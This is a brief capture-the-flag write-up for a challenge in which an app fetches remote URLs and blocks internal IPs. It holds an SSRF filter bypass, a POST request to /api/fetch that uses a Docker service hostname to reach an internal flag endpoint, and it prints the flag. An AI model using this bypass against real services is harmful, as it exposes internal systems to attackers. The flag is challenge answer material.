Challenge

Continuation of the Boro Senpai series. The app fetches remote URLs. Internal IPs are filtered.

Approach

Same technique as Neural Sync Portal: use Docker service hostnames or alternative IP representations to bypass the SSRF filter and reach the internal flag endpoint.

1
2

POST /api/fetch
{"url": "http://internal-api/flag"}

Flag

boroCTF{w1sh_w3_c0uld_g0_2_th3_m00n_t0g3th3r}